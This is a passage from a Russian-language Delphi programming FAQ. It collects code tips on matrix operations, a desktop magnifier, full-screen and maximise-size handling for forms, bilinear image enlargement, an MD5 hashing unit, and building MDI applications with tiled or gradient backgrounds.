SetMatrixElement(TempPtr,TempPtr^.MatrixRow,1,
GetMatrixElement(TempVPtr,TempVPtr^.MatrixRow,1)/
GetMatrixElement(TempUPtr,TempUPtr^.MatrixRow,TempUPtr^.MatrixCol));
for j:= MPtr^.MatrixCol-1 downto 1 do begin
XSum:= 0;
for k:= j+1 to MPtr^.MatrixCol do
XSum:= XSum+GetMatrixElement(TempUPtr,j,k)*
GetMatrixElement(TempPtr,k,1);
SetMatrixElement(TempPtr,j,1,(GetMatrixElement(TempVPtr,j,1)-XSum)/
GetMatrixElement(TempUPtr,j,j));
end;
LPtr:= TempLPtr;
UPtr:= TempUPtr;
BPtr:= TempVPtr;
GausseMethodMatrix:= TempPtr;
end else GausseMethodMatrix:= nil;
end;
end.
|
Мне кажется, что интерфейсное описание весьма простое, но если возникнут какие-либо вопросы - пишите на E-mail - постараюсь ответить на все Ваши вопросы. Может быть, азы матричного исчисления я опишу в виде отдельной статьи по причине множества поступивших вопросов, хотя в этой матричной математике нет ничего сложного :o) Следует отметить, что теория матриц дает в Ваши руки весьма мощный инструмент по анализу данных весьма различного характера, в чем я неоднократно убеждался на практике.
Важные, на мой взгляд, замечания. НЕ СТЕСНЯЙТЕСЬ использовать подход, использующий стандартный тип Pascal - record - в объектах мало чего хорошего в межкомпиляторном взаимодействии. Да и, кстати, использование типа record до сих пор является самым быстрым способом математических расчетов, в отличиие от ООП. Частенько простое 2+2=4 дает существенный выигрыш по времени выполнения, по сравнению с объектным подходом, а если математических вычислений в Вашей программе великое множество....
Как заменить строку в матрице.
Автор: http://www.lmc-mediaagentur.de/dpool
program Matrices;
{$APPTYPE CONSOLE}
uses
SysUtils;
type
TMatrixRow = array of Double; {preferrable to Real}
TMatrix = array of TMatrixRow;
procedure MatrixExchangeRows(M: TMatrix; First, Second: Integer);
var
Help: TMatrixRow;
begin
if (First < 0) or (First > High(M)) or (Second < 0) or (Second > High(M)) then
Exit; {or whatever you like.}
{Only pointers are exchanged!}
Help := M[First];
M[First] := M[Second];
M[Second] := Help;
end;
procedure MatrixWrite(M: TMatrix);
var
Row, Col: Integer;
begin
for Row := 0 to High(M) do
begin
for Col := 0 to High(M[Row]) do
Write(M[Row, Col]: 10: 2);
Writeln;
end;
Writeln;
end;
var
Matrix: TMatrix;
Row, Column: Integer;
begin
Randomize;
SetLength(Matrix, 4, 4);
for Row := 0 to High(Matrix) do
for Column := 0 to High(Matrix[Row]) do
Matrix[Row, Column] := Random * 1000.0;
MatrixWrite(Matrix);
MatrixExchangeRows(Matrix, 1, 2);
MatrixWrite(Matrix);
Readln;
end.
Как создать Delphi приложение, которое могло бы увеличивать часть рабочего стола наподобие лупы.
Автор: Zarko Gajic
Есть программы, которые позволяют увеличивать определённую область экрана в районе курсора мышки. А вам слабо самостоятельно сделать такое приложение ?
Итак, приступим.
Нам понадобится одна форма, один элемент управления image, одна панель, кнопка, таймер и бегунок. Добавляем к форме картинку и панель. Размещаем остальные элементы управления на панели. Теперь всё готово к программированию. Но предварительно Вам необходимо изменить некоторые свойства у Ваших элементов управления.
А вот код, наиболее важной части программы:
// переменные
var
Srect, Drect, PosForme: TRect;
iWidth, iHeight, DmX, DmY: Integer;
iTmpX, iTmpY: Real;
C: TCanvas;
Kursor: TPoint;
...
// Увеличиваем экран, если приложение не свёрнуто в иконку
if not IsIconic(Application.Handle) then
begin
// Получаем координаты курсора
GetCursorPos(Kursor);
// PosForm представляет прямоугольник с координатами Form (image control).
PosForme := Rect(Form1.Left, Form1.Top, Form1.Left + Form1.Width, Form1.Top + Form1.Height);
//Показываем magnified screen если курсор за пределами формы.
if not PtInRect(PosForme, Kursor) then
begin
// Далее код можно использовать для увеличения выбранной
// части экрана. С небольшими модификациями его можно
// использовать для уменьшения
// экрана
iWidth := Image1.Width;
iHeight := Image1.Height;
Drect := Bounds(0, 0, iWidth, iHeight);
iTmpX := iWidth / (Slider.Position * 4);
iTmpY := iHeight / (Slider.Position * 4);
Srect:=
Rect(Kursor.x, Kursor.y, Kursor.x, Kursor.y);
InflateRect(Srect, Round(iTmpX), Round(iTmpY));
//Получаем обработчик(handle) окна рабочего стола.
C := TCanvas.Create;
try
C.Handle := GetDC(GetDesktopWindow);
//Передаём часть изображения окна в TImage.
Image1.Canvas.CopyRect(Drect, C, Srect);
finally
C.Free;
end;
end;
// Обязательно обрабатываем все сообщения Windows.
Application.ProcessMessages;
end; // IsIconic
|

Как развернуть форму на весь экран, как в играх.
interface
uses
Windows, Messages, SysUtils, Classes, Controls,
Forms,
StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
procedure WMGetMinMaxInfo(var msg: TWMGetMinMaxInfo);
message WM_GETMINMAXINFO;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.WMGetMinMaxInfo(var msg:
TWMGetMinMaxInfo);
begin
inherited;
with msg.MinMaxInfo^.ptMaxTrackSize do begin
X := GetDeviceCaps( Canvas.handle, HORZRES ) +
(Width - ClientWidth);
Y := GetDeviceCaps( Canvas.handle, VERTRES ) +
(Height - ClientHeight );
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
const
Rect: TRect = (Left: 0; Top: 0; Right: 0; Bottom: 0);
FullScreen: Boolean = False;
// Разворачиваем на весь экран
begin
FullScreen := not FullScreen;
if FullScreen then begin
Rect := BoundsRect;
SetBounds( Left - ClientOrigin.X,
Top - ClientOrigin.Y, GetDeviceCaps( Canvas.handle,
HORZRES )
+ (Width - ClientWidth), GetDeviceCaps( Canvas.handle,
VERTRES )
+ (Height - ClientHeight ));
end
else BoundsRect := Rect;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Close;
end;
end.
|
Как качественно увеличить изображение при помощи билинейной интерполяции.
| - Как повысить рождаемость на планете? - Заставить Microsoft выпускать презервативы! |
Этот алгоритм увеличивает изображение в произвольное количество раз при помощи билинейной интерполяции. При создании нового изображения каждой его точке с целыми координатами (x,y) сопоставляется точка исходного изображения с дробными координатами (xo, yo), xo=x/dx, yo=y/dy (dx и dy – коэффициенты увеличения). Далее нужно провести поверхность через точки, лежащие вокруг (xo, yo). Цвет здесь рассматривается как третье измерение. На поверхности ищется точка с координатами (xo, yo) и ее цвет понимается за цвет точки (x,y) получаемого изображения.
Этот алгоритм хорошо работает при целых или больших коэффициентах увеличения. Но резкие границы размываются. Для уменьшения изображения этот алгоритм также не подходит.
procedure Interpolate(var bm: TBitMap; dx, dy: single);
var
bm1: TBitMap;
z1, z2: single;
k, k1, k2: single;
x1, y1: integer;
c: array [0..1, 0..1, 0..2] of byte;
res: array [0..2] of byte;
x, y: integer;
xp, yp: integer;
xo, yo: integer;
col: integer;
pix: TColor;
begin
bm1 := TBitMap.Create;
bm1.Width := round(bm.Width * dx);
bm1.Height := round(bm.Height * dy);
for y := 0 to bm1.Height - 1 do
begin
for x := 0 to bm1.Width - 1 do
begin
xo := trunc(x / dx);
yo := trunc(y / dy);
x1 := round(xo * dx);
y1 := round(yo * dy);
for yp := 0 to 1 do
for xp := 0 to 1 do
begin
pix := bm.Canvas.Pixels[xo + xp, yo + yp];
c[xp, yp, 0] := GetRValue(pix);
c[xp, yp, 1] := GetGValue(pix);
c[xp, yp, 2] := GetBValue(pix);
end;
for col := 0 to 2 do
begin
k1 := (c[1,0,col] - c[0,0,col]) / dx;
z1 := x * k1 + c[0,0,col] - x1 * k1;
k2 := (c[1,1,col] - c[0,1,col]) / dx;
z2 := x * k2 + c[0,1,col] - x1 * k2;
k := (z2 - z1) / dy;
res[col] := round(y * k + z1 - y1 * k);
end;
bm1.Canvas.Pixels[x,y] := RGB(res[0], res[1], res[2]);
end;
Form1.Caption := IntToStr(round(100 * y / bm1.Height)) + '%';
Application.ProcessMessages;
if Application.Terminated then
Exit;
end;
bm := bm1;
end;
const
dx = 5.5;
dy = 5.5;
procedure TForm1.Button1Click(Sender: TObject);
const
w = 50;
h = 50;
var
bm: TBitMap;
can: TCanvas;
begin
bm := TBitMap.Create;
can := TCanvas.Create;
can.Handle := GetDC(0);
bm.Width := w;
bm.Height := h;
bm.Canvas.CopyRect(Bounds(0, 0, w, h), can, Bounds(0, 0, w, h));
ReleaseDC(0, can.Handle);
Interpolate(bm, dx, dy);
Form1.Canvas.Draw(0, 0, bm);
Form1.Caption := 'x: ' + FloatToStr(dx) +
' y: ' + FloatToStr(dy) +
' width: ' + IntToStr(w) +
' height: ' + IntToStr(h);
end;
procedure TForm1.Button2Click(Sender: TObject);
var
bm: TBitMap;
begin
if OpenDialog1.Execute then
bm.LoadFromFile(OpenDialog1.FileName);
Interpolate(bm, dx, dy);
Form1.Canvas.Draw(0, 0, bm);
Form1.Caption := 'x: ' + FloatToStr(dx) +
' y: ' + FloatToStr(dy) +
' width: ' + IntToStr(bm.Width) +
' height: ' + IntToStr(bm.Height);
end;
|
Обработка запроса на максимальное раскрытие окна.
Мне необходимо иметь в приложении форму, раскрывающуюся при нажатии на кнопку "Открыть на весь экран" только в половину экрана, а не на полный экран. Вам необходимо обработать из вашей формы сообщение WM_GETMINMAXINFO.Например, добавьте следующее объявление в защищенную (protected) секцию вашей формы (interface):
procedure _WM_GETMINMAXINFO( var mmInfo : TWMGETMINMAXINFO ); message wm_GetMinMaxInfo; |
И создайте обработчик этого сообщения следующим образом (TForm1, естественно, имя вашей формы):
procedure TForm1._WM_GETMINMAXINFO(var mmInfo: TWMGETMINMAXINFO);
begin
// устанавливаем позицию и размер вашей формы
// при ее максимальном раскрытии:
with mmInfo.minmaxinfo^ do
begin
ptmaxposition.x := Screen.Width div 4;
ptmaxposition.y := Screen.Height div 4;
ptmaxsize.x := Screen.Width div 2;
ptmaxsize.y := Screen.Height div 2;
end;
end;
|
Вычисление хеш-суммы MD5.
Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Вычисление хеш-суммы MD5
Зависимости: Windows, SysUtils, Classes
Автор: Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright: http://www.faqs.org/rfcs/rfc1321.html
Дата: 19 июня 2002 г.
***************************************************** }
{******************************************************************}
{ MD5 Hashsum Evaluation Unit For Borland Delphi }
{ }
{ Copyright © 2002 by Dimka Maslov }
{ E-mail: mainbox@endimus.com, }
{ Web-site: http://www.endimus.com }
{ }
{ Derived from the RSA Data Security, Inc. }
{ MD5 Message-Digest Algorithm described in RFC 1321 }
{ http://www.faqs.org/rfcs/rfc1321.html }
{******************************************************************}
unit md5;
interface
uses Windows, SysUtils, Classes;
type
{ Тип TMD5Digest используется для получения
результата функций вычисления хеш-суммы.
Содержимое записи можно использовать
как набор из 4 целых чисел, или как
массив из 16 байт }
PMD5Digest = ^TMD5Digest;
TMD5Digest = record
case Integer of
0: (A, B, C, D: LongInt);
1: (v: array[0..15] of Byte);
end;
// вычисление хеш-суммы для строки
function MD5String(const S: string): TMD5Digest;
// вычисление хеш-суммы для файла
function MD5File(const FileName: string): TMD5Digest;
// вычисление хеш-суммы для содержиого потока Stream
function MD5Stream(const Stream: TStream): TMD5Digest;
// вычисление хеш-суммы для произвольного буфера
function MD5Buffer(const Buffer; Size: Integer): TMD5Digest;
// преобразование хеш-суммы в строку из шестнадцатеричных цифр
function MD5DigestToStr(const Digest: TMD5Digest): string;
// сравнение двух хеш-сумм
function MD5DigestCompare(const Digest1, Digest2: TMD5Digest): Boolean;
implementation
{
Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.
License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing this software
or this function.
License is also granted to make and use derivative works provided
that such works are identified as "derived from the RSA Data
Security, Inc. MD5 Message-Digest Algorithm" in all material
mentioning or referencing the derived work.
RSA Data Security, Inc. makes no representations concerning either
the merchantability of this software or the suitability of this
software for any particular purpose. It is provided "as is"
without express or implied warranty of any kind.
These notices must be retained in any copies of any part of this
documentation and/or software.
}
type
UINT4 = LongWord;
PArray4UINT4 = ^TArray4UINT4;
TArray4UINT4 = array[0..3] of UINT4;
PArray2UINT4 = ^TArray2UINT4;
TArray2UINT4 = array[0..1] of UINT4;
PArray16Byte = ^TArray16Byte;
TArray16Byte = array[0..15] of Byte;
PArray64Byte = ^TArray64Byte;
TArray64Byte = array[0..63] of Byte;
PByteArray = ^TByteArray;
TByteArray = array[0..0] of Byte;
PUINT4Array = ^TUINT4Array;
TUINT4Array = array[0..0] of UINT4;
PMD5Context = ^TMD5Context;
TMD5Context = record
state: TArray4UINT4;
count: TArray2UINT4;
buffer: TArray64Byte;
end;
const
S11 = 7;
S12 = 12;
S13 = 17;
S14 = 22;
S21 = 5;
S22 = 9;
S23 = 14;
S24 = 20;
S31 = 4;
S32 = 11;
S33 = 16;
S34 = 23;
S41 = 6;
S42 = 10;
S43 = 15;
S44 = 21;
var
Padding: TArray64Byte =
($80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
function _F(x, y, z: UINT4): UINT4;
begin
Result := (((x) and (y)) or ((not x) and (z)));
end;
function _G(x, y, z: UINT4): UINT4;
begin
Result := (((x) and (z)) or ((y) and (not z)));
end;
function _H(x, y, z: UINT4): UINT4;
begin
Result := ((x) xor (y) xor (z));
end;
function _I(x, y, z: UINT4): UINT4;
begin
Result := ((y) xor ((x) or (not z)));
end;
function ROTATE_LEFT(x, n: UINT4): UINT4;
begin
Result := (((x) shl (n)) or ((x) shr (32 - (n))));
end;
procedure FF(var a: UINT4; b, c, d, x, s, ac: UINT4);
begin
a := a + _F(b, c, d) + x + ac;
a := ROTATE_LEFT(a, s);
a := a + b;
end;
procedure GG(var a: UINT4; b, c, d, x, s, ac: UINT4);
begin
a := a + _G(b, c, d) + x + ac;
a := ROTATE_LEFT(a, s);
a := a + b;
end;
procedure HH(var a: UINT4; b, c, d, x, s, ac: UINT4);
begin
a := a + _H(b, c, d) + x + ac;
a := ROTATE_LEFT(a, s);
a := a + b;
end;
procedure II(var a: UINT4; b, c, d, x, s, ac: UINT4);
begin
a := a + _I(b, c, d) + x + ac;
a := ROTATE_LEFT(a, s);
a := a + b;
end;
procedure MD5Encode(Output: PByteArray; Input: PUINT4Array; Len: LongWord);
var
i, j: LongWord;
begin
j := 0;
i := 0;
while j < Len do
begin
output[j] := Byte(input[i] and $FF);
output[j + 1] := Byte((input[i] shr 8) and $FF);
output[j + 2] := Byte((input[i] shr 16) and $FF);
output[j + 3] := Byte((input[i] shr 24) and $FF);
Inc(j, 4);
Inc(i);
end;
end;
procedure MD5Decode(Output: PUINT4Array; Input: PByteArray; Len: LongWord);
var
i, j: LongWord;
begin
j := 0;
i := 0;
while j < Len do
begin
Output[i] := UINT4(input[j]) or (UINT4(input[j + 1]) shl 8) or
(UINT4(input[j + 2]) shl 16) or (UINT4(input[j + 3]) shl 24);
Inc(j, 4);
Inc(i);
end;
end;
procedure MD5_memcpy(Output: PByteArray; Input: PByteArray; Len: LongWord);
begin
Move(Input^, Output^, Len);
end;
procedure MD5_memset(Output: PByteArray; Value: Integer; Len: LongWord);
begin
FillChar(Output^, Len, Byte(Value));
end;
procedure MD5Transform(State: PArray4UINT4; Buffer: PArray64Byte);
var
a, b, c, d: UINT4;
x: array[0..15] of UINT4;
begin
a := State[0];
b := State[1];
c := State[2];
d := State[3];
MD5Decode(PUINT4Array(@x), PByteArray(Buffer), 64);
FF(a, b, c, d, x[0], S11, $D76AA478);
FF(d, a, b, c, x[1], S12, $E8C7B756);
FF(c, d, a, b, x[2], S13, $242070DB);
FF(b, c, d, a, x[3], S14, $C1BDCEEE);
FF(a, b, c, d, x[4], S11, $F57C0FAF);
FF(d, a, b, c, x[5], S12, $4787C62A);
FF(c, d, a, b, x[6], S13, $A8304613);
FF(b, c, d, a, x[7], S14, $FD469501);
FF(a, b, c, d, x[8], S11, $698098D8);
FF(d, a, b, c, x[9], S12, $8B44F7AF);
FF(c, d, a, b, x[10], S13, $FFFF5BB1);
FF(b, c, d, a, x[11], S14, $895CD7BE);
FF(a, b, c, d, x[12], S11, $6B901122);
FF(d, a, b, c, x[13], S12, $FD987193);
FF(c, d, a, b, x[14], S13, $A679438E);
FF(b, c, d, a, x[15], S14, $49B40821);
GG(a, b, c, d, x[1], S21, $F61E2562);
GG(d, a, b, c, x[6], S22, $C040B340);
GG(c, d, a, b, x[11], S23, $265E5A51);
GG(b, c, d, a, x[0], S24, $E9B6C7AA);
GG(a, b, c, d, x[5], S21, $D62F105D);
GG(d, a, b, c, x[10], S22, $2441453);
GG(c, d, a, b, x[15], S23, $D8A1E681);
GG(b, c, d, a, x[4], S24, $E7D3FBC8);
GG(a, b, c, d, x[9], S21, $21E1CDE6);
GG(d, a, b, c, x[14], S22, $C33707D6);
GG(c, d, a, b, x[3], S23, $F4D50D87);
GG(b, c, d, a, x[8], S24, $455A14ED);
GG(a, b, c, d, x[13], S21, $A9E3E905);
GG(d, a, b, c, x[2], S22, $FCEFA3F8);
GG(c, d, a, b, x[7], S23, $676F02D9);
GG(b, c, d, a, x[12], S24, $8D2A4C8A);
HH(a, b, c, d, x[5], S31, $FFFA3942);
HH(d, a, b, c, x[8], S32, $8771F681);
HH(c, d, a, b, x[11], S33, $6D9D6122);
HH(b, c, d, a, x[14], S34, $FDE5380C);
HH(a, b, c, d, x[1], S31, $A4BEEA44);
HH(d, a, b, c, x[4], S32, $4BDECFA9);
HH(c, d, a, b, x[7], S33, $F6BB4B60);
HH(b, c, d, a, x[10], S34, $BEBFBC70);
HH(a, b, c, d, x[13], S31, $289B7EC6);
HH(d, a, b, c, x[0], S32, $EAA127FA);
HH(c, d, a, b, x[3], S33, $D4EF3085);
HH(b, c, d, a, x[6], S34, $4881D05);
HH(a, b, c, d, x[9], S31, $D9D4D039);
HH(d, a, b, c, x[12], S32, $E6DB99E5);
HH(c, d, a, b, x[15], S33, $1FA27CF8);
HH(b, c, d, a, x[2], S34, $C4AC5665);
II(a, b, c, d, x[0], S41, $F4292244);
II(d, a, b, c, x[7], S42, $432AFF97);
II(c, d, a, b, x[14], S43, $AB9423A7);
II(b, c, d, a, x[5], S44, $FC93A039);
II(a, b, c, d, x[12], S41, $655B59C3);
II(d, a, b, c, x[3], S42, $8F0CCC92);
II(c, d, a, b, x[10], S43, $FFEFF47D);
II(b, c, d, a, x[1], S44, $85845DD1);
II(a, b, c, d, x[8], S41, $6FA87E4F);
II(d, a, b, c, x[15], S42, $FE2CE6E0);
II(c, d, a, b, x[6], S43, $A3014314);
II(b, c, d, a, x[13], S44, $4E0811A1);
II(a, b, c, d, x[4], S41, $F7537E82);
II(d, a, b, c, x[11], S42, $BD3AF235);
II(c, d, a, b, x[2], S43, $2AD7D2BB);
II(b, c, d, a, x[9], S44, $EB86D391);
Inc(State[0], a);
Inc(State[1], b);
Inc(State[2], c);
Inc(State[3], d);
MD5_memset(PByteArray(@x), 0, SizeOf(x));
end;
procedure MD5Init(var Context: TMD5Context);
begin
FillChar(Context, SizeOf(Context), 0);
Context.state[0] := $67452301;
Context.state[1] := $EFCDAB89;
Context.state[2] := $98BADCFE;
Context.state[3] := $10325476;
end;
procedure MD5Update(var Context: TMD5Context; Input: PByteArray; InputLen:
LongWord);
var
i, index, partLen: LongWord;
begin
index := LongWord((context.count[0] shr 3) and $3F);
Inc(Context.count[0], UINT4(InputLen) shl 3);
if Context.count[0] < UINT4(InputLen) shl 3 then
Inc(Context.count[1]);
Inc(Context.count[1], UINT4(InputLen) shr 29);
partLen := 64 - index;
if inputLen >= partLen then
begin
MD5_memcpy(PByteArray(@Context.buffer[index]), Input, PartLen);
MD5Transform(@Context.state, @Context.buffer);
i := partLen;
while i + 63 < inputLen do
begin
MD5Transform(@Context.state, PArray64Byte(@Input[i]));
Inc(i, 64);
end;
index := 0;
end
else
i := 0;
MD5_memcpy(PByteArray(@Context.buffer[index]), PByteArray(@Input[i]), inputLen
- i);
end;
procedure MD5Final(var Digest: TMD5Digest; var Context: TMD5Context);
var
bits: array[0..7] of Byte;
index, padLen: LongWord;
begin
MD5Encode(PByteArray(@bits), PUINT4Array(@Context.count), 8);
index := LongWord((Context.count[0] shr 3) and $3F);
if index < 56 then
padLen := 56 - index
else
padLen := 120 - index;
MD5Update(Context, PByteArray(@PADDING), padLen);
MD5Update(Context, PByteArray(@Bits), 8);
MD5Encode(PByteArray(@Digest), PUINT4Array(@Context.state), 16);
MD5_memset(PByteArray(@Context), 0, SizeOf(Context));
end;
function MD5DigestToStr(const Digest: TMD5Digest): string;
var
i: Integer;
begin
Result := '';
for i := 0 to 15 do
Result := Result + IntToHex(Digest.v[i], 2);
end;
function MD5String(const S: string): TMD5Digest;
begin
Result := MD5Buffer(PChar(S)^, Length(S));
end;
function MD5File(const FileName: string): TMD5Digest;
var
F: TFileStream;
begin
F := TFileStream.Create(FileName, fmOpenRead);
try
Result := MD5Stream(F);
finally
F.Free;
end;
end;
function MD5Stream(const Stream: TStream): TMD5Digest;
var
Context: TMD5Context;
Buffer: array[0..4095] of Byte;
Size: Integer;
ReadBytes: Integer;
TotalBytes: Integer;
SavePos: Integer;
begin
MD5Init(Context);
Size := Stream.Size;
SavePos := Stream.Position;
TotalBytes := 0;
try
Stream.Seek(0, soFromBeginning);
repeat
ReadBytes := Stream.Read(Buffer, SizeOf(Buffer));
Inc(TotalBytes, ReadBytes);
MD5Update(Context, @Buffer, ReadBytes);
until (ReadBytes = 0) or (TotalBytes = Size);
finally
Stream.Seek(SavePos, soFromBeginning);
end;
MD5Final(Result, Context);
end;
function MD5Buffer(const Buffer; Size: Integer): TMD5Digest;
var
Context: TMD5Context;
begin
MD5Init(Context);
MD5Update(Context, PByteArray(@Buffer), Size);
MD5Final(Result, Context);
end;
function MD5DigestCompare(const Digest1, Digest2: TMD5Digest): Boolean;
begin
Result := False;
if Digest1.A <> Digest2.A then
Exit;
if Digest1.B <> Digest2.B then
Exit;
if Digest1.C <> Digest2.C then
Exit;
if Digest1.D <> Digest2.D then
Exit;
Result := True;
end;
end.
Разработка MDI приложений в Delphi.
Что такое MDI?
MDI расшифровывается как multiple document interface (многодокументный интерфейс). В приложениях с MDI, в основном (родительском) окне можно окрыть более одного дочернего окна. Данная возможность обычно используется в электронных таблицах или текстовых редакторах.
Каждое MDI приложение имеет три основные составляющие:
Одну (и только одну) родительскую форму MDI, Одну и более (обычно больше) дочерних форм MDI, и основное меню MDI.MDI "мать"
Как уже упоминалось, в проекте MDI приложения может присутствовать только один MDI контейнер (родительская форма) и он должен быть стартовой формой.
Для создания основного окна MDI приложения проделайте следующие шаги:
Запустите Delphi и выберите File | New Application... Delphi создаст новый проект с одной формой под названием form1 (по умолчанию). В свойстве Name присвойте форме имя frMain. Установите свойство FormStyle в fsMDIform. Сохраните этот проект (имя проекта на Ваше усмотрение, например prMDIExample), вместе с uMain.pas в только что созданной директории. Как Вы успели заметить, для создания основной формы MDI, мы установили свойство FormStyle в fsMDIform. В каждом приложении только одна форма может иметь свойство fsMDIform.
MDI "дети"
Каждое родительское окно MDI нуждается по крайней мере в одной дочерней форме. Дочерние формы MDI - это простые формы, за исключением того, что их видимая часть ограничена размерами родительского окна. Так же при минимизации такого окна, оно помещается не в панель задач, а остаётся внутри родительского окна ( на панель задач попадёт только родительское окно).
Теперь давайте создадим дополнительные формы, а точнее дочерние. Просто выберите File | New Form. Будет создан новый объект формы с именем form1 (по умолчанию). При помощи Object Inspector измените свойство Name в форме form1 на frChild, а свойство FormStyle на fsMDIChild. Сохраните эту форму с соответствующим ей файлом как uchild.pas. Обратите внимание, что при помощи данного свойства мы можем превратить любую существующую форму в дочернюю форму MDI.
Ваше приложение может включать множество дочерних MDI форм такого же или другого типа.
Так же хочется обратить Ваше внимание, что MDI приложение может включать в себя и самые обычные формы, но в отличие от дочерних, они будут отображаться как обычные модальные диалоговые окна (такие как about box, или файловый диалог).
Естевственно, что как на родительском так и на дочернем окнах можно располагать любые элементы управления, однако уже давно сложилась традиция, что на родительской форме располагается панель статуса (status bar) и панель инструментов (toolbar), в то время как на дочерних формах располагаются все остальные контролы, такие как гриды, картинки, поля вводи и т. д.
Автосоздание -> Доступные
Теперь давайте произведём некоторые настройки нашего проекта. Выберите Project | Options, откроется диалог опций проекта (Project Options). В левой панели выберите frChild (Авто-создание форм ("Auto-create forms")), и переместите её в правую панель (Доступные формы (Available forms)). Список правой панели содержит те формы, которые используются Вашим приложением, но которые не созданы автоматически. В MDI приложении, по умолчанию, все дочерние формы создаются автоматически и отображаются в родительской форме.
Создание и отображение
Как упомянуто выше, настройка не позволяет автоматически создавать дочерние окна, поэтому нам необходимо добавить некоторый код, который будет производить создание объекта формы frChild. Следующую функцию CreateChildForm необходимо поместить внутри основной формы (MDI родитель) (наряду с заголовком в interface's private):
uses uchild; ... procedure TfrMain.CreateChildForm(const childName : string); var Child: TfrChild; begin Child := TfrChild.Create(Application); Child.Caption := childName; end; |
Данный код создаёт одну дочернюю форму с заголовком childName. Не забудьте, что этот код находится разделе "uses uchild".
На закрытие не минимизировать!
Закрытие дочернего окна в MDI приложении всего навсего минимизирует его в клиентской области родительского окна. Поэтому мы должны обеспечить процедуру OnClose, и установить параметр Action в caFree:
procedure TfrChild.FormClose(Sender: TObject; var Action: TCloseAction); begin Action := caFree; end; |
Обратите внимание, что если форма является дочерней формой MDI, и её свойство BorderIcons установлено в biMinimize (по умолчанию), то опять же по умолчанию параметр Action установлен в caMinimize. Если же в дочерней форме MDI нет этих установок, то по умолчанию Action установлен как caNone, означающий, что при закрытии формы ничего не случится.
MDI родительское меню
Каждое MDI приложение должно иметь основное меню с (если больше ничего нет), опцией выравнивания окон. Поскольку мы предварительно переместили дочернюю форму из Авто-создаваемых (Auto-create) в Доступные (Available) формы, то нам нужен будет код, который (пункт меню) будет создавать дочерние формы.
Итак, переместите компонент TMainMenu на frMain (MDI родитель) и приведите его к следующему виду:
Для создания дочерних окон в нашем приложении будет использоваться пункт меню "New child". Второе меню (Window) будет использоваться для выравнивания дочерних окошек внутри родительского окна-формы.
Создать и отобразить
В заключении нам необходимо сделать обработчик для пункта меню "New child". При нажатии на пунк меню File | New Child нашего приложения, будет вызываться процедура NewChild1Click которая в свою очередь будет вызывать процедуру CreateChildForm (приведённую выше), для создания (следующего) экземпляра формы frChild.
procedure TfrMain.NewChild1Click(Sender: TObject);
begin
CreateChildForm('Child '+IntToStr(MDIChildCount+1));
end;
|
Только что созданная дочерняя форма будет иметь заголовок в виде "Child x", где x представляет количество дочерних форм внутри MDI формы, как описано ниже.
Закрыть всё
При работе с приложением, имеющим многодокументный интерфейс, всегда необходимо иметь процедуру, закрывающую все дочерние окна.
procedure TfrMain.CloseAll1Click(Sender: TObject);
var
i: integer;
begin
for i:= 0 to MdiChildCount - 1 do
MDIChildren[i].Close;
end;
|
Вам прийдётся выполнять проверку на предмет наличия несохранённой информации в каждом дочернем окне. Для решения данной задачи лучше всего использовать обработчик события OnCloseQuery.
Свойства MdiChildCount и MDIChildren
MdiChildCount свойство read only, содержащее в себе количество созданных дочерних окошек. Если не создано ни одно дочернее окно, то это свойство установлено в 0. Нам прийдётся частенько использовать MdiChildCount наряду с массивом MDIChildren. Массив MDIChildren содержит ссылки на объекты TForm всех дочерних окошек.
Обратите внимание, что MDIChildCount первого созданного дочернего окна равен 1.
Меню Window
Delphi обеспечивает большинство команд, которые можно поместить внутри пункта меню Window. Далее приведён пример вызова трёх основных методов для команд, которые мы поместили в наше приложение:
procedure TfrMain.Cascade1Click(Sender: TObject); begin Cascade; end; procedure TfrMain.Tile1Click(Sender: TObject); begin Tile; end; procedure TfrMain.ArrangeAll1Click(Sender: TObject); begin ArrangeIcons; end; |
Фон MDI-окон.
Привожу код, который может оказаться полезным. Он позволяет в обычной или MDI-форме создать графический tile-фон или градиентную заливку. (Tile - "секция, плитка" - непрерывное заполнение определенной области немасштабируемым изображением слева-направо сверху вниз - В.О.)Самая сложная часть кода осуществляет обработку системного сообщения, адресуемого дескриптору окна (ClientHandle), осуществляющему управление дочерними формами. Происходит это в момент вывода изображений в MDI-форме. Все что вам необходимо сделать - в режиме проектирования загрузить в imgTile необходимые изображения и перенести в свою программу следующий код:
unit UMain;
interface
uses
Windows, Messages, Classes, SysUtils, Graphics, Controls, Forms,
Dialogs, ExtCtrls, Menus;
type
TfrmMain = class(TForm)
mnuMain: TMainMenu;
mnuFile: TMenuItem;
mnuExit: TMenuItem;
imgTile: TImage;
mnuOptions: TMenuItem;
mnuBitmap: TMenuItem;
mnuGradient: TMenuItem;
procedure mnuExitClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure mnuBitmapClick(Sender: TObject);
procedure mnuGradientClick(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure FormResize(Sender: TObject);
procedure FormPaint(Sender: TObject);
private
{ Private declarations }
MDIDefProc: pointer;
MDIInstance: TFarProc;
procedure MDIWndProc(var prmMsg: TMessage);
procedure CreateWnd; override;
procedure ShowBitmap(prmDC: hDC);
procedure ShowGradient(prmDC: hDC; prmRed, prmGreen, prmBlue: byte);
public
{ Public declarations }
end;
var
frmMain: TfrmMain;
glbImgWidth: integer;
glbImgHeight: integer;
implementation
{$R *.DFM}
procedure TfrmMain.FormCreate(Sender: TObject);
begin
glbImgHeight := imgTile.Picture.Height;
glbImgWidth := imgTile.Picture.Width;
